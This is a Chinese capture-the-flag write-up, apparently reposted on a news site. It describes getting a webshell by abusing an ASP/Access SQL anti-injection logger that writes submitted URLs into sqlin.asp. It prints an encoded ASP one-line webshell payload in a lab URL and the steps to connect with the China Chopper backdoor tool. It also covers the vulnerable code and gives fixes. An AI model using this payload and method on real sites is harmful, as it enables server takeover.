在Access ASP架構中,很多網站采用通用防注入系統來防範SQL注入攻擊,該系統确實在一定程度上面可以防範SQL注入,但其設計時存在一個重大的缺陷,将注入操作的url數據寫入到asp文件中,如果在内容中插入Asp一句話加密木馬内容,則可以獲取webshell。
1.1.1漏洞測試
1.來自ctf通關的提示
在進行ctf實戰中,碰到一個關口,提示采用sql通用防注入系統,通過提示知道key文件就在根目錄下,而且記錄是寫入到數據庫内。
圖1 ctf關口提示
2.測試語句
在url中添加“and 1=1”進行注入測試,如圖2所示,程序操作IP、操作時間、操作頁面、提交方式和提交參數等進行提示和記錄,提示攻擊者,網站有安全防護。
圖2提示注入防範
1.1.2獲取webshell
1.通過sqlmap的繞過防火牆進行測試
在sqlmap中對該url地址進行繞過測試,未能成功。
2.使用加密的Asp一句話木馬
使用“and 1= ┼攠數畣整爠煥敵瑳∨≡┩愾“對url地址進行提交,也即:
10.2.66.50:8105/news.asp?id=753 aNd 2=┼攠數畣整爠煥敵瑳∨≡┩愾
如圖3所示,sql防注入系統會自動将url地址寫入到sqlin.asp文件。
圖3插入一句話後門測試
3.訪問sqlin.asp
在浏覽器中輸入http://10.2.66.50:8156/sqlin.asp進行訪問測試,如圖4所示,能夠正常訪問,前面插入的一句話後門直接寫入到該文件。
圖4測試sqlin.asp文件
4.獲取webshell
在中國菜刀後門管理工具中創建asp後門記錄http://10.2.66.50:8156/sqlin.asp,密碼為a,如圖5所示,成功獲取webshell。
圖5獲取webshell
1.1.3獲取key及程序漏洞分析
1.獲取key值
通過webshell成功獲取其key.php的值,如圖6所示。key.php在網站目錄設置了權限,無法通過http://10.2.66.50:8156/key.php直接獲取。
圖6獲取key值
2.漏洞分析
(1)news.asp文件
通過對news.asp源代碼進行分析,發現其ID值并未進行任何過濾,明顯存在sql注入漏洞。
<% set rs= Server.CreateObject("adodb.recordset")
sql="select * from news where id="&Request("id")
rs.open sql,conn,1,3
bt=rs("bt")
nr=rs("nr")
(2)sql注入防範程序分析
sql注入防範程序是将數據信息插入到數據庫中方便,其關鍵代碼如下:
Fy_dbstr="DBQ=" server.mappath("SqlIn.asp") ";DefaultDir=;DRIVER={Microsoft Access Driver (*.mdb)};"
Set Fy_db=Server.CreateObject("ADODB.CONNECTION")
Fy_db.open Fy_dbstr
Fy_db.Execute("insert into SqlIn(Sqlin_IP,SqlIn_Web,SqlIn_FS,SqlIn_CS,SqlIn_SJ) values('"&Request.ServerVariables("REMOTE_ADDR")&"','"&Request.ServerVariables("URL")&"','POST','"&Fy_Post&"','"&replace(Request.Form(Fy_Post),"'","''")&"')")
Fy_db.close
SQL注入防範程序會将每一次的非法數據提交到sqlln.asp文件,将該文件重命名為mdb文件,打開後其内容如圖7所示,Access數據庫獲取webshell的一個關鍵條件和方法都滿足,将加密的asp一句話後門寫入數據庫内容,同時又必須是asp文件。
圖7數據庫中内容
(3)安全建議
在存在參數傳入的地方一定要進行過濾出來,同時進行類型的嚴格檢查和限定。在本例中使用sql防範程序可以解決sql注入,但如果sql防範程序存在缺陷的情況,将導緻網站存在安全風險。在本例中可以将sqlln.asp修改為mdb文件也可以避免。
,更多精彩资讯请关注tft每日頭條,我们将持续为您更新最新资讯!